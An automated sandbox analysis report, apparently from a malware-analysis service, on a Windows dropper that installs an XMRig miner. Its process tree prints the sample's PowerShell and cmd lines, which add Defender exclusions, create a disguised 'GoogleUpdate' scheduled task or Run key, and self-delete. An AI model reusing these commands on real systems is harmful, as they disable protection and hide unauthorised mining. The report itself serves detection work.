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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1787s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3472
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1232
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2420
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5032
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2848
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        PID:2524
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        PID:376
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
        2⤵
          PID:2792
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2184
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:4464
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:3396
        • C:\Program Files\Google\Chrome\updater.exe
          "C:\Program Files\Google\Chrome\updater.exe"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4924
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3612
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          1⤵
            PID:5112
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:1660

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 394KB
                • SHA256 ae0098a3e2ce87e3d4d4d0b6e2094311d066d159b40b93d17c98305e63d4db67
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 121KB
                • SHA256 f40d19bc4353c08cfba7305598a42de2d9b6f60afd6a1350b0e164a4f60d0ff3
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 2750a1b7fdc995b7fe4f4a4ee8cc58397a3aca0ff0829ecae84bf01cf780317e
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_klih5q0o.noa.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_klih5q0o.noa.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/376-112-0x00000225AC160000-0x00000225AC170000-memory.dmp

                memory/376-114-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp

                memory/376-110-0x00000225AC160000-0x00000225AC170000-memory.dmp

                memory/376-111-0x00000225ACD40000-0x00000225ACDF5000-memory.dmp

                memory/376-100-0x00000225AC160000-0x00000225AC170000-memory.dmp

                memory/376-99-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp

                memory/1232-0-0x00007FF7DD490000-0x00007FF7DD6A1000-memory.dmp

                memory/1232-35-0x00007FF7DD490000-0x00007FF7DD6A1000-memory.dmp

                memory/2420-16-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp

                memory/2420-13-0x00000147F6A50000-0x00000147F6A60000-memory.dmp

                memory/2420-12-0x00000147F6A50000-0x00000147F6A60000-memory.dmp

                memory/2420-11-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp

                memory/2420-1-0x00000147F7A20000-0x00000147F7A42000-memory.dmp

                memory/2524-80-0x000002592BE80000-0x000002592BE9A000-memory.dmp

                memory/2524-63-0x000002592AFC0000-0x000002592AFD0000-memory.dmp

                memory/2524-62-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp

                memory/2524-75-0x000002592AFC0000-0x000002592AFD0000-memory.dmp

                memory/2524-77-0x000002592BCD0000-0x000002592BCDA000-memory.dmp

                memory/2524-76-0x000002592BC10000-0x000002592BCC5000-memory.dmp

                memory/2524-78-0x000002592BE40000-0x000002592BE5C000-memory.dmp

                memory/2524-74-0x000002592BBF0000-0x000002592BC0C000-memory.dmp

                memory/2524-79-0x000002592BE20000-0x000002592BE2A000-memory.dmp

                memory/2524-82-0x000002592BE60000-0x000002592BE66000-memory.dmp

                memory/2524-83-0x000002592BE70000-0x000002592BE7A000-memory.dmp

                memory/2524-84-0x000002592AFC0000-0x000002592AFD0000-memory.dmp

                memory/2524-87-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp

                memory/2524-64-0x000002592AFC0000-0x000002592AFD0000-memory.dmp

                memory/2524-81-0x000002592BE30000-0x000002592BE38000-memory.dmp

                memory/2792-141-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-139-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-187-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-185-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-183-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-181-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-118-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-179-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-177-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-175-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-119-0x0000018832480000-0x00000188324A0000-memory.dmp

                memory/2792-173-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-171-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-124-0x00000188324F0000-0x0000018832510000-memory.dmp

                memory/2792-169-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-126-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-127-0x0000018832A90000-0x0000018832AB0000-memory.dmp

                memory/2792-128-0x0000018832AB0000-0x0000018832AD0000-memory.dmp

                memory/2792-130-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-131-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-133-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-167-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-135-0x0000018832A90000-0x0000018832AB0000-memory.dmp

                memory/2792-136-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-137-0x0000018832AB0000-0x0000018832AD0000-memory.dmp

                memory/2792-165-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-163-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-143-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-145-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-147-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-149-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-151-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-153-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-155-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-157-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-159-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2792-161-0x00007FF7FE410000-0x00007FF7FEC04000-memory.dmp

                memory/2848-47-0x00000246FB490000-0x00000246FB4A0000-memory.dmp

                memory/2848-51-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp

                memory/2848-45-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp

                memory/2848-46-0x00000246FB490000-0x00000246FB4A0000-memory.dmp

                memory/4464-125-0x00007FF6DF7D0000-0x00007FF6DF7E6000-memory.dmp

                memory/4464-132-0x00007FF6DF7D0000-0x00007FF6DF7E6000-memory.dmp

                memory/4924-120-0x00007FF7CCE70000-0x00007FF7CD081000-memory.dmp

                memory/4924-52-0x00007FF7CCE70000-0x00007FF7CD081000-memory.dmp

                memory/5032-28-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp

                memory/5032-31-0x000001B588DC0000-0x000001B588DD0000-memory.dmp

                memory/5032-29-0x000001B588DC0000-0x000001B588DD0000-memory.dmp

                memory/5032-30-0x000001B588DC0000-0x000001B588DD0000-memory.dmp

                memory/5032-33-0x00007FFCEA030000-0x00007FFCEAAF1000-memory.dmp